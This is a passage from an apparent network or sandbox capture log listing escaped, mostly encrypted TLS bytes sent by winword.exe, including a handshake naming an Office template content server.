  636. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x01m\\xf0\\x01\\xf4\\x1ao\\xa7cl\"\\xeas\\xbb\\xa1o\\xeecc\\xf0\\xf8\\xee$\\x8b\\x8bwu(\\xac\\xb3\\x9f,6\\x13\\xb7r\\x99\\xcaq1\\xe8\\xe2\\x8c\\xaf\\x99w\\x97_\\xe7l\\xae=avc\\x9b+\\x08\\xe0\\xd4e\\x1b\\xd5d>\\xcbt\\x19\\x17ru\\xe3n\\xc8\\xbc\\xd0\\xed\\xd6l\\xf0\\xf5w\\x88\\xf7x\\xad\\xcd\\xb5\\x93\\xf2t@m\\xe9\\xd8\\xfd\\xd26\\xe3\\x9c\\xbf\t\\xf07\\x0e\\x95,+\\x9ff\\x10\\x91\\xbd\\x10e\\xf9\\xfb\\x0e\\x12,\\xf0\\xf4w\\x917y\\x12\\xd8|\\xe3\\xf6\\xcan\\xf7p\\x17\\xb0\\xe7\\xa7\\xf0\\xcf\\xb6(+\\xdf\\xb1\\xbd\\x10\\xa8\\xedq\\x18q\\xbd`\\xfd\\xeb\\xfd\\xd1\r\\xc5\\xaa4=\\x01\\xba\\x91\t\\xa4d*\\xc5\r;\n)\\xdapam\\x16\\xff\\x88\\x8aq\\xb5\\x99.\\xa9\\xb3\\xae\\x9b|\\xda\\x8b2\\x11\\xa3\\xdb\\xce'\\x93u\\x9a\\xb9\\xd0\\x07y\\x010\"|\\xf3\\x97\\xc2:\\xe9\\xc5\\xd5p\\xf7\ni\\xed`wg\\xf6#a\\xd0f|d\\xf5p6\\xbd\\x7f\\x8cn\"\\xfe0\\xff/6\\xa7\\xa3"
  637.  
  638.  
  639. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x9c\\xf3\\xad\\xc1\r\\xa3v\\xfd\\xc6\\xeb\\xa3\\x7fk\\x06\\x99\\x16wk\\xf0\n\\xdae\\x8ca%$u\\xb3\\xd1e)\\xe8\\x91\\xda\\x8d\\x9c\\xc6\\xa0\\xc3f\\x81\\xcf\\xe5\\x93\\x0b+\\xc7\\x02b|\\xbe?d\\x01\\xbc\\x9fk\\xf5?\\\\xd5\\xe4l\\x8d\\xe4\\xc62|\\x0c.xe\\xd7\\x82\\xd7~l\\x1f\\x1c\"\\xab\\xe5\\x98\\x90\\xee\\x01\\xa7&\t\\x88h\\xd5q\\xad&\\x9ew\\xfa\\xf9#j\\xd4\\x9d\\x83o\\xb59vs'9\\x1b\\xd3\\xd5\\xfa^\\x19\\xa1\\xb0\\x83h\\xb6\\xd0\\x91z\\x06\\xad\\xd4\\xc3)=\\x05\\x87\\xf7%\\xa5b\\x80,\\xe0w\\xaf\\xa0\\xc6v\\xab\\xcfd<\\xf5\\x95\n\\xca\\xda!\\xebw\\x93\\xdc\\xf8\\xe2\\xaca\\xbd0\\xc6\\xc8\\x81g\\xc6n\\xc0e\\x00\\xe3\\x9e\\x19\\x81\\x13\\xb7\\x88\\x0b\\xd4\\xeb\\xf7d\\xd3\\x87\\x12)\\x1b\\xcd\\xed,\\x10\\xfe\\x8c\\xbe\n,\\xc2\\x16\\xc3\\xafl\\x06\\xcc\\x83(\\xdatq1\\xba\\xc3\\xac\\xbd\\x9co\\x87\\xda-\\xfba\\xce\\x7f\\x00\\x13\\xc7\\xe8q\\xe4\\xf9;\r\\x0cv@\\x07\"\\xearc\\xc9\\xee\\x15\\xbeji\\x9e"
  640.  
  641.  
  642. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010hr\\xe9\\x82\\xf1p\\xb5opii\\xac\\x97\\x10\\xfa\\xa6\\xb3\\xf7\\xcd\\xdanr*e\\xec\\xfa\\xa4\\xdf\\xe7h\\xf5\\x0cf\\x0ctg.\\xfan\\x985\\xefji\\xe63r\\xea.*p\\x90\\x99f'k\\x84l\\xff\\x95k\\x01r\\x1b\\xfd>\\xe56\\x0ef\\x96\r\\x01\\xb1w\\xd8\\xa0\\x1e|\\x0f1p\\x8d\\xf1\\xe2\\x96\\xc6\\x93\\\\x98\\x81\\xaf\\x84\\xc9\\xa2\\x98n\\x98yb~\\xf2\\x9f\\x81+h8p\\xdc\\xe8\\xe9\\xb3\\x11\\xf1m:lym\\xbe\\x90\\xc9\\xee\\xec\\xb8\\xc2x\\xfe\\x8b\\x94\\xdch\\xacr\\xe5\\x8c\\xa2r>\\x9a\\x96\\xbb\\xb0\\xf3x\\xad0\\x17:d\\xebi\\xa7j\\x80_\\xbf\\xe8td\\x06\\xf3\\xb6\\x87\\xa7\\x96nj\\x8b\\x1d\\x8erp\\xda\\x1d:\\x1d$\\xe7\\x8f^\\xc9\\xf5\\x02\\x89\\xcb'j.\\xb9@,\\x8e\\x05\\x05\\xedi<u\\x99\\x82\\xa4\\xa5\\xcc\\x18\\x7f=\\x1b\t\\xc2\\xf4\\xa2\\xec\\xd6nwf\\x83b\\xc4\\xca\"\\xfd\\xfa\\x81!\\xdb\\xbdl\\x12\\xea\\xca0oqx\\xaex,\\xc3\\xc5,\\xd2\\xb09\\xd0\\xb4*\\x06\\xca"
  643.  
  644.  
  645. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x99\\x07\\xf1\\xf1\\xfc\\xf1\\x04\\x07d\\x99\\x00\\x80\\xf4\\xe4wf\\x8dl\\x08q\\xd3c\\xfe\\xf3\\x9f\\x18\\xc8\\xbf+^9p\\x9d+\\x1e&\\xce\\xc4y\\xe8\\xfe\\xc8\\xef?\\xbe~x\\x8do\\xc4y\\xb2\\xc0\\x80\\x169>`\n\\x1e$f\\xc0\\x84\\xab\\xfbs\\xb7\\xaebwc\\x91\\xa4sui\\xed\\xd5-$\\xdd\\x03\t\\xc56$\\xc7\\xe9\\xd7\\x073\\x1fq=j\\xdfa\\xe2\\x11\\xe5\\xafc\\x9f\\x03\\x08\\x8ae\r\\xa7\\xec\\xac\\xef2\\x06\\x990da\\xce\\x8e\\x8a7\\xb0a\\xb9\\x88\\xd0\\xd6\\xff\\x18\\xcb\\x1d\\xc6\\xb3\\xc7\\xeb\\xef|p\\xdb\\x88\\xcc5\\xa7\\x00m\\x1b/\\xbd\\xfc\\x9e?\\xb0\\xa7z\\x0b\\xa7\\xabl\\xfe\\xea\\x90dm\\x1dz\\x0f\\xa5(l\\xd1\\xa1\\xfe\\xf9\\x8b\\x95zz\\xda\\xa8k9z\\xe2\\x87\\xbe\\x03d\\xf7\\xbeo\\x06\\xa2t&\\x7f\\\\x8athd\\xea\\xb9r\\x1d-\\xc5\\x9dz\np\\x1b(c3,\\x14\\xe8\\xb5\\xfav\\xdd\\x11\r\\xa0@z&\\xec1#\\xb9\\xdck\\xf6\\xef\\xa3\\x94\\xce\\xbf\\x9b\\xa8\\x1c\\xc3g\\xe2"
  646.  
  647.  
  648. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010v\\x03\\x1f\\xd2c\\x90ti\\x05\\xfa\\xce\\xb5c\\x13*\\xb4)b\\xa8\\x10g!\\x8a\\xe1\\xff0\\x06\\xb3+gi!\\xab\\xd3\\xdb\\xf6\\x0ffr\\x87\\x01\\xfe\\xb5\\xa2\\x04\\x8c\\xf4\\x95p\\xa1h1_\\xbc|t\\xea\\xc8a/\\xd58\\xa2\\x8d$8\\x16\\xb4\\xc7\\xf2\\xb4\\\\x06\\xd7\\x1ck\\xf6\\xb6\\x9d\\x1d\\xb6%\\x07u\\x8ec\\xd7t\\xe1\\xedl\\x86=\\\\x8b\\x0b\\xe0\\xf1\\x03\\xbf\\x02\\x03\\xc9g\\xdao\\x0e\\x86\\xaa\\xec\\xa8\\xf6h\\xfd+\\xdduad\\x8d\\x90\\xf0\\xf21\\xa1\\x8f?\\x8a\\x00p\\xd3r\\xaap\\x13muv\\s\\xd2\\x1b\\x0f\\xbcv\\x87\\x89?\t/\t\\xb4\\x16\\x94h9\\x06s\\x8e\\x84\\xb32\\xb8\\xcce;\\xa2\\x8a\\x80\\x99\\xae\\xa1b\\x0b\\x0e\\xd3\\xbc\t\\xb0\\xb7\\xa1\\x97\\xdf\\xa2:(h\\xcec\\xffm~\\x83\\xdd\\xb6$\\x81\\x81uv<p\\x882\\xeb\\x94\\xae\\xeel\\xa6\\xc5\\xa7\\xdf\\x9cy\\x9d\\x809\\xb3zndp\\x9a<s?;d\\xf7\\xc4\\xd5u0-k\\xde\\xb5x\\xf2\\xd8$^\\xac\\x06gwq"
  649.  
  650.  
  651. "http_request": "winword.exe_WSASend_\\xc4\\x00i\\x00\\xb0@j\\x11\\xe8\\xa5!lv\\xc4\\x05\\x88vg\\xb8\\xd8\\xd0\\x84\\x0ey\\xaa\\xfdr\\xc9o'\\x13j\\xd0\\xc2tjy\\x1a\\x03\r\\x93\\xa1\rzvc\\x85\\xc1g\\xd9_\\x087\\x0f\\xef\\x07\\x8d\\xbejf\\x8b^\\xb0\\xe1\\xc0<\\xd9vhj#n\\xc0\\xe6<\\xb7\\xcc\\x06#\\x06g\\xb3\\xfd\\xa4\\x02\\x1b-m\\xaf`\\xe3\\x15\\xc3 \\xbaf\\x1a*\rmb\\x12\\xe5\\xbea\\x81\\xd5^w'\\x9c\\xde\\xfc\\x00\\xfdw\t68jx\\xf7\\xdb75\\xbbm\\x9d\\xe3\\x94o\\xbd\\xd8\\xec\\x82\\xb7\\x1a\\x97\\x07\\x1d\\x01\\xe9\\xcbq\\xce\\x98\\\\x90\\x1d\\x17\\x0e:\\xd3\\x03\\x80\\xbak\\xaf\\xf091\\xbd\\xbb\\xfbc+\\x05\\xb1\\xa87\\x89\\x14\\x1d\\x86\\xd2\\xd1\\x03\\x17\\xb8\\x03x\\xd8\\xc2\\xf0\\x93\\xb3`\\x1c'\\x04\\x80\\x08z\\xb8\\x83\\x1d\\x92\\x01?\\xe5\\x88\\xf1\\xbe\\x02\\xd2\\x80\\xf7\\x8c\"\\xb2i\\xb8o\\\\x8e\\x15\\xceb\\x82\\xbd\\x99\\x19\\xaa\\x1f\\xe8<m\\xff\\xce\\xfcr\\xa5\\x0ev\\xb6\\x92-z$m\\xb6f\\xc4\\xb4\\xec\\x1dx\\xa9\\xcc\\xcc\\xbc"
  652.  
  653.  
  654. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xfd\\x9c\\xcb\\x89\\xa1y#\\x92\"\\xe3\\xc8\\xfao\\x84\\x9b\\x82m#\\x9a\\x10\\xb4+\\x08\\xde\\xeb\\xa2+\\xb1\\x85\\xf2e\\xaa=b\\x8f\\x02o\\xed3*/\\x91\\xb8\\xe0\\xcf\\xb7\\xbc\\xc0\\xbdn\\xc7\\xa8b\\xd1\\xf7\\xf0'\\xff\\x86\\xc8)\\xe1\\xbd\\x08\\xcea\\x87\\x04\\x18a\\x898^!\\xf3u\\x00\\x8e\\xf3d\\xfd\\xc2\\x8d\\xa2^?o\\x80\\x90aq\\x83\\x14)\\xc5>q\\xa2\\xb9\\xa6\\xebn\\xa0q\\x7f\\x08\\xd3t\\xcd\\xc9\\xbf t_\\xaet\\xb2\\x8a\\x0f\\xec\\xe0\\xb6\\xb5|\\xddya\\xf8\r\\xb7\\x8a\\xb5\\xc5#\\xde/\\x04\\xa9\\x97\\xb4i$\\xc5\\x1a\\xc6\\x80\\xed9\\xda\\x1c\\x0b\r\\xf8\\x0b6\\xb5\\x101\\xcc\\xa03\\xdet\\x9d\\x9c(\\x91i\\x8a\\xd0\\xfb\\xaf\\x9fv\\xab\\xf7\\xe9k\\xfa\\x1b$\\xfc\\xb0\\xde5\\x87\tj\\x15\\x83r\\xfb\\xa3\\xbfev\\x8a\\x0b\ts\\xf8b\\xa8\\x97\\xdd!a\\x7f\\xb9\\xd7\\x99\\x05\\xb7)\\x8an+2\\xed\\xd6\\xb0\\x00>\\xd9\\xb4w\\xb8\\x1fb\\xa6\\x02\\xaa\\xd8\\xfam\\xdd\\xeb\\x15\\x07b\\xe6\\x108\\x17\\xda\\xc0"
  655.  
  656.  
  657. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xa2\\x1e\\xcc\\x0b\\x94\\x1b\\x99\\xa7ov)\\xd2=`\\xe5\\x14u4>\\xea\\xb3\\xc3\\xf1l\\xf6o\\xcf\\xfe\\xed\\x86\\x062%\\xd2\\xeb\\x06\\xca\\xfb\\xb9\\xdc\\x18\\x93\\x1b\\xf0\\x0fo5\\x10\\x0b\\xb2'\\xa3\\x96\\x8byd\\x96\\xf2h\\xa1c\\xd8\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x8ca\t\\xeee\\xee\\x0b\\x04\\xd3\r\\x8d7t\\x9d\\x7f\\xf5x\\xbbr\\x81\\x8b\\xd4\\xe3\\xef\\xca\\xf8\\xd4\\xbbkpt\\xf9\\x1ep^\\xd4\\xff+\\xda\\x9a\\xa5/m\\xf4\\xd8\\x98\\xd9\\xa7"
  658.  
  659.  
  660. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010m\\x8c\\xd0\\xe4\\xa7\\xed\t\\xa0\\x83\\xf6\\xce\\x9d\\x01*h\\xa3tby\\x18\\xcb\\xef\\xcf\\x06_\\xd6\n\\x9bzs\\xcc\\xafb\\xb3\rb\\xa9\\x96\\xe5\\xe9\\xce\\xc5m\\x1f\\xde\\x8d\\x86\\xfdu\\x8bw\\xd9iy\\xff\\x9di\\x84d\\xe1\\xbd$7;\\xa3o,\\xb7\\xac\\x91\\xa9i\\x95\\xd23b\\xe2`\\xbe\\x03y\\xd4y\\xe9\\xa3\\x1f\\xf3(\\xf4i\\x14qk\\x99\\xf7(\\x1b%\\x19\\xed\\xb4\\xf8l\\xba_4\\x9ecd\\xc8\\xa8:\\xd6\\xf0\\xe1\\x9f\\xda\\x18xeu5\\xbe;\\x89\\xe3\\x03\\x85\\xc3\\xe65\\x04w\\xc2@(\\xe5\\xca\\x0echb\\x11&\\x06\\xe8\\xb1\\x8a\\xa1\\x9d\\xf9\\x89\\xabd&\\xcav\\x9cuog\\xd8\\xa9y\\xf9|\\xa9\\x13\\xc07\\xc1\\x9a\\xad\\x02\\xc76\\x1e\\xb8\\xdec\\xc29\\xd5\\x0b~!_d\\xed\r\\xb6\\x11\r\\x07\\x91\\x86p\\x97\\xea\\xc2\\xf3\\x7f\\xc3\\xa9\\xfe\\xb6me\\xcc\\xf4\\xed,c\\x9d\\xaf\\xcez=\\x99*\\xdb\\xa0\\xc5\\xa0m\\xb5\\x8e\\x10r\\x80q\\xa3\\xf0p\\x85\\x87v\\xa8?-\\x1d\\xa1\\xf0\\xc9\\x87\\xc5"
  661.  
  662.  
  663. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xfe\\xeem\\x95c\\xe1=\\x04\\xc1\\x1d\\x01\\x8e\\x1c\\xc8\\xf9\\xde\\x97\\x03\\x04->\\xf8t\\x93\\xe0\\x1a9-\\xca&iv\\x01,\\x18_\\xacl\\xc02.\\x06h\\x1f\\xa5\\x18\\xc1\\xf0\\xc2\\xeb>\\xce,\\x86\\xb9\\xf1\\x06\\xf03\\xc1q\\x82\\xb5b8\\xd9\\xff8\\xf1\\xee#z,u\\x81gu\\xb3\\xbb\\xd8\\xca\\xbe\\xadr9\\xf3\\x07\\x97\\xb2\\xb1\\x8e\\xb7\\x8957\\xa2\\x7f\\xfa\\xe6\\xfa;4\\xbd\\xe1\\x0b;ji`7i\\xa42\\xd2g\\xc6z\\x9fh\\x98\\x89\\xf5\\x92\\xf3\\x1f\\xb6\\x99t\\x1b\\x1do\\xe3uy\\x93x\\xd5\\xae\\xa4w\\x04\\xcf\\xeby^\\xfb\\xb6e8\\x06y\\xbf\\xe2\\xd5\\xa7\\x04\\xfd\\x8d\\xa9r+z\\x8b\\xd0\t)\\x9a\\x9a\r|l\\xcc\\x048a$\\x10r\\xa1\\xa4\\xadg>a\\xca\\x0f\\xfb\\x02h;\\xad!\\x90\\x105\\xb4\\x0c\t\\xf2=\\x7ft\\xfa\\xd7\\x99\\x94y\\xb7\\xff\\x1f\\x14\\xdb\\x17\\xc2i\\xd8\\xb4e\\x95\\xf9^\\xdba3\\xa1\\xb6\\xa7\\xa0\\xc8w\\x84s\\xe0\\x7f\\xe0\\xcd\\xa8\\x81i`y\\xed-\\xff\""
  664.  
  665.  
  666. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xd8\\xbe\\xfa\\x9c\\xf7\\xac+o\\xfa\\x19\\xc3\\x9e\r\\x10>\\xb8z\\x14^\\x81d!\\x8a9\\xa0\\x00\\xf7\\xd2\\x13r@%\\xb4\\xac\\x96\\xe4\\xb49\\xfe\\xe7\\x1b\\xa0p\\xdfe\\xc7\\x8f1\\x8b\\xb7\\x04\\xe3'3\\xe0&\\x9b\\xb1\\x11\\x1e&\\xf4\\x9d\\xb4\\xdc\\x11\\xb9\\xda\\xba\\x1a\\xf4\\x0bvf\\xac\\xf6\\xdco\\xcd\\x96\\xe1s!\\xf4i\\xffel\\x01\\xc0\\xc7\\x87yf\\x06et\\xc1\\xb6\\xf9\\xa1\\xdd=\\xbcxt\r\\x01\nl\\x8du\\xc1\\xa0\\x08%e\\xff9\\x15j\\xc3\\x9b4\\xd2\\x8b\\xa6\\x89<\\x02\\x16\\x0f\\xb3\\x17\\xc2\\xf0\\xaf\\x87e\\x14\\xcc\\x83\\xf1\\x88p\\xa9t\\x9f0i@\\xd2j\r+k/\\xbfx=\t\\x12/\\xf7\\xb0\\xa5vi6qn\\x06\\x89\\x96m\\xc4\\x9d!\\x88p\\x16a\\x9d\\x13v\\xe7\\xbd\\x94|\\x89\\xe0\\x8f\\x97\\x92\\xf5\\x8d\\xda\\xbcgq4\\x95\\xa2\\xf5,\\xab\\xa8\\xbb\\xb2fu=\\xbej\\x85c\\xd8b\\xcf\\x1f\\x0bh\\xf3p\\xb7o\\xde\\xe6'\"\\xe2\\xd2\\xa9\\xabc\\xf7\\x1c5\\xa3iu)5xj\\x1a"
  667.  
  668.  
  669. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010f\\x04\\x84y\\x9c\\xde\\xf9\\x93:'\r\\x9e1\\xd5\\xe0\\xc5\\x88\\xbb\\xdb\\xde\\x15\\xbb\\x94 \\x98\\z^1\\xa8\\xa3j\\xce\\xd4p3g\\x96p\\x10\\xf02\\xbb>\\xba?f\\x1f\\x92v\\x05\\xb5r\\x80\\x0f\\xf4\\x04\\x17k\\xa7o\\xeb\\xdd\\xecrd\\x99\\x85op\\xaak\\xa3\\xe6`(\\xb54\\xad\\x91\\xe9j\\x9c\\x9c\\xd7n)r\\xe9k3\\xb8\\x86\\xe5\\xc7\\xce6\\xa9\\x1cxh\\x0f\\xa3\\xa7\\xa5\\xb8\\xefe\\xf2\\x05\\x8b|\\xe5\\x97\\xec\\xfb\\xb0i+l\\xdb\\x88*u\\xb8^h\\xcc\\xa7\\x8f\\xfd4\\xfbu>\\x87\n)\\x98\\xda\\xa4\\x87x\\xad~\\x96\\xeef\\xd0\\x95\\xbb\\xd2\\xe2\\xa8\\xf3\\x98\\x00\\xca\\xee\\x1b\\x91\\xb1\\x1b\\xa1\\xcc5\\xf2\\x93\\x10\\x80\\x86\\x80\\xb5\\xd1x\\xb2.\\xe2\\x9d\\xfal\\x16\\x92\\xb4\\x98ys_6\\xb0\\xae6\\x99\\xa4hl.\\x89\\xacz\\xb1\\xa4\\xed\\x12\\x02@e\r\\xcbxg)\\xbd\\xd6\\xaf/\\xae\\xb10\\xe9\\xa0\\xe6\\x9f\\xf0m=|^-\\xc1y\\xfek\\x85\\xa80\\x06p\\x06\\xde\\xf6 \\xd6\\xb3\\xed\\x0e\\xae"
  670.  
  671.  
  672. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x06\\xb2\\x11ft\\xbc\\xb1\\xe9sr+\\xf8po.\\xbe\\x0c9\\x986\\x9a\\xcb\\x06\\x8fht\\xb9\\xbd\\x7f\\xf4\\x82*\\x1b\\xdc?\\xedh'\\x1aa1<\\xb7v\\x06\\xc7^\\x11\\xb7\te\\xfb*\\xd7\\x84\\xde\\x8f\\x8dt\\x10\\xb6\\x8b\\xe2\\xc1q\\\\x00m\\xda\\x9eg\\x16i(\\xaf\\x92\\x82\\xf4\\xe3\\x9e\\x05\\x01\\x8ax\\xd8+\\xb6\\xb2\\xe8q\\xe5\\x16\\x1b\\x0e0u5\\x8dvo\\x06\\xff\\xfc\\x17\\xe7\\x9f)\\x9f\\xb1\\xd6\\x9bo\\x9d\\xa1\\xe1p\\x7f\\xa5~\\xff$+\\xa6\\xcd4\\xb1\\xaef\\xa5\\x16\\x87g\\x15\\x98\\xfb\\x01\\xe0t\\x0e\rg\\xaf\\x9b \\xc2\\xff\\x07\t\\x08\\xbd\\x1b\\xde\\x9e\\xea-\\x8a6\\x83\\xefl!\\xe0\\x03\\xbbw\\x952w4iwd\\xd9\\x0e\\x0e&\\x81,q\\xb0\\xc2\\xc0\\x14in\\xc9\rf\\x92\\xfe\\x01\\xd5\\xb7\\xe4\\xd2\\xe6\\xb1\\x96\\xa9\tg\\xd9\\x86\\xa5\\xff\\xf7\\xa4\\xa0\\x82u\\x11@\\xaeuy!;?a\\xed\\x95\\x00\\xd1\\x93up~9d\\x8e\\xf4#\\xb4\\xa2\\xc8\\x0b\\xdd\\xd2\\xebg\\xfb\\x83\\xfc\\xedx\\xe0\\xd8\\xc7\\x15\\xb0t"
  673.  
  674.  
  675. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xcd\\xd2\\xdfgp\\xcerc\\x02k\\x18\\xc0\t\\\\x03\\xf6\\xa1\\xd5\\xf9\r\\xaa8)\\xee\\xcb\\xeb\\xabs2\\xaap=\\x84\\xb8\\x00\\xf7\\x041b =\\xc2\\x17\\xb8\\x9e\\xb5?:\\x86\\x00\\x1dn? \\xf6\\xc2\\x0c\\x13\\x0c\\xda&\\xd0\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000_jt\\xcc\\x88a\\xe2\\xdd\\xc4\\xcb\\xb4\\xa5p+o\\xceb\\x04\\x16%\\xd4\\x85\\xa6\\x92\\xc9d\\xb1(v\\xa1\\x9f\\xea\\xbe\\x89\\xe1\\xe7\\xa9\\xb7\\xf4\\x7f\\xb2\\xe1\\xe7x\\x14\\xecc"
  676.  
  677.  
  678. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x85j\\x02\np&\\xdajj`p\\xbf )\\x1d\\xf6\\x85\\x94\\xfc,\\xb0^\\x9av\\x93\\x16j\\xd2\\xe9\\xd8\\x03\\xdc\\xb2er\\xf7\\xe5\\x0cm\\xb3\\x12~\\xe7\"\\xceb\\xa8\\xf7\\xb3>\\xc4\\xd1y\\x17k\\xbd\\xffe\\xe1k1\\x7f\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\r\\xd0\\xe0*x\\x86\\x98\\xf34\\x14\\x12\\xdf\\xb8\\xad\\xf5?\\xb0ei\\x8b\\xb6e\\xba\\xcc\\x97'\\xdb\\xcey\\xa4\\xa2t\\xc9\\xaf\\x8ba\\xa3g\\xf42?nm\\xbe\\xf0\\x1f7\\xb7"
  679.  
  680.  
  681. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010n0\\xe3%\\x05\\xb8j^-s\\xb1\\xcdb\\xba\\x87\\x8e\\x0f\\x8ali\\xaa\\xe6\\xe7\\xb5\\x0f?j\\x86\t\\xf2b\\xa8\\xef\\xda\\xb4p\\x8e\\xa3\\x8d\\xb9\\xfc\\xa2\\xe7\"d\\x99.\\x19s\\x82\\xc5b\r\\xe9\\xc1\\xb2\\xe7\\xbb55\\xb9@\\x1bk\\x0f(\\x19\\xbcbo e\\x9b9\\xfbb\\xfa\\x05\\xaf\\xe0k\\xdf9\\xe4\\x8b\\xdc\\xcf\\xbb\\xf2-\\xa6\\xe2\\xfeeapz\\xe1\\xd5\\x13\\xb4pl\\x80\\xf3l\\xc3\\x11\\xff\\xc34\\xe2\\xff%z\\xcb\\xa6e\rj\\x82\\xd0\\xafw\\x87k\\xc7ag\\x97#\\x94\\x85\\x9e\\xaa\\xa0\\xd3\\xffi\\x98#\\xdc\\x112y^\\xbds\\xef\\xa7\rc\\x82e?\\xf3v\\xe7\\x93\\x1f\\xfc\\x8e\\x19\\xbd\\x1f\\x94\\xf6\\xca\\x98\ty\\xf3b\\x99\\x96q\\xc0\\xe6i\\xec^\\xd6y\\xdd\\xebtk\\x8d\\x0fb<ki;g\r\\x8c\\xc4\\x00k\\xd7\\xf9\\xe0\\x90\\xa7l\\x13\\xcc`\\xa9\\xab\\xc0\\x1bu\\xb2\\xb6.7/\\xc1\\x0fqw\\xc5\\x13m\\xa6\\xb2\\x90\\xf8z\\x90rg4u\\xe6\\xc7\"?\\x18js\\x19\\x8b\\x04\\xef-"
  682.  
  683.  
  684. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x93\\x84\r\\xa2\\xbb\\x908\t\\xbfe\\x9ep\\xb3\\xe3 \\x0f4\\xb6\\xee\\x8c\\x96&\\x13\\x15\\x8b~_\n@\\xe9\\xbe\\x11@\\x13\\xfa\\x02\t\\xb8\\xf2\\x97\\xd3u\\x8f\\xdc\\x835\\xbe\\x9at\\xdd\\x08\\xdc\\x8e-\\xec\\x9d\\x9b\\xe7\\xf2e\\xba\\x8c\\x9e\\x1f&i\\xc9t\\x07:\\x90\\xda\\xa6\\xa3\\xc1\\xc9\\xbb\\x9a\\xb8\\x07l\\x999\\x96j\\x82\\x8c\\xb1\\xbdz\\x17\\xaa\\xe9\\xb0\\xb7\\xfe\\xfe\\xfd\\xea\"w\\xab\\x1b\\x1a\\xfc\\x9a\\xa9c'wb\\x81\\x0en\\xfd\\x18d\\xbd\\x1e!\\x8ep\\xad\\x0e\\xe1^\\xca\\xcc\\xc6y\\x86j\\x10\\xde\\xe8=\\xa7\\x81a\\x03\\x19w\\xb2\\x90\\xa67q\\xcc\\xd9+6\\x03\\x93|q\\x7f\\xe8kuq\\xb7\\x18s4\\x13\\xb5y\\xa6v\\xf3\\x10yy#\\xe5\\xeb\\xa8\\x9bx\\xed\\x02*\\xe7\\xf2\\x96a\\xe0xp`j$f\\x9c\\x94\\xd26\\x13\\xd5\\x01\\xc9\\xce\\xb3\\x88\\xf3;j\"n4\\xff\\x80\\xeb3\\xf3\rc\\xb6,\\xeb\\xa7\\xcf\\x8a\\x05*\\xbb\\xc8\\x0cw\nz\\xef\\xc4k\\xb4\\xd5fp\\xf4t\\xe1?\\xc9b\\xef"
  685.  
  686.  
  687. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc4\\x1f\r\\xf4\\xb02\\xbccu\\x88\\xf8\\x12\\x7fe\\xd8\\xf1la\\x91b\\x1dc\\x0c\\xcbq\\xc0\\xe1\\x10\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  688.  
  689.  
  690. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0108\\xfboo\\x97\\xbd\\x05\\xc1\\xa1m\\xbej\\xa8\\x87\\xf0r\\xbd\\x15\\xafc\\xf7u'\\x8f\\xb9<\\x9e\\x1b95\\xd3q\\x0b\\x83,\\x9e\\xa4\\x91\\xba\\xaet_k'\\xe0\\x91\\x1f^\\x9b\\xca\\xf2ne\\x86\\x04\\xe1n\\xb2\\x94*\\xa1\\xab#\\xb4e\\x04\\x8ed\\x18\\xc1\\x1ba\\xf9\\x9di*a\\xae\\x18~&\\xe0z\\xa9\\xf4\\x99km\\x9b\\x8ev\\x8e\\xd7\\x0e\\xb2\\x909\\xdc\\x0cg\\x0f\\xec\\x10\\xda\\xcf\\x85<\\xe9v\\xec;c\\xd7\\xa9j=?\\x8f/\\xf4\\xc1\\x03\\xc0\\x04$!,\\xde\\x88\\xfexbt;\rk\\xcae\\xbc\\x16d\\xe5g\\xd1\\xeb\\xa4v*uv@\\x99\\xf0r\\xc4\\xe9\\x1a\\x94\\x9e^\ne/8\\xb9u\\xde\\xf2\\xec\\xd2$\\xbf\\x9e\\xb4\\xb08\\x8e\\xd8\\xfc7\\xb5;:\\x1d\\x03a\\x93\\x1b\\x0c\\xb6\\xac\\xcb\\x10h\\x8by\\xb9\\xe1a\\x0b\\xc6\\xe0\\xf3\\x8b\\x03\\xe5\\x8e\\xa1\\xd0\\xa9<\\xa6\\x89\\x1f5|*\t\\x89e\\xf4w\\xee\\xb0z\\xc7\\xda\\x7f\\xacp\\x19\\xc8.ev\\xfd\\x7fgts'\\xea`9\\x94i\\x9c\\xe0"
  691.  
  692.  
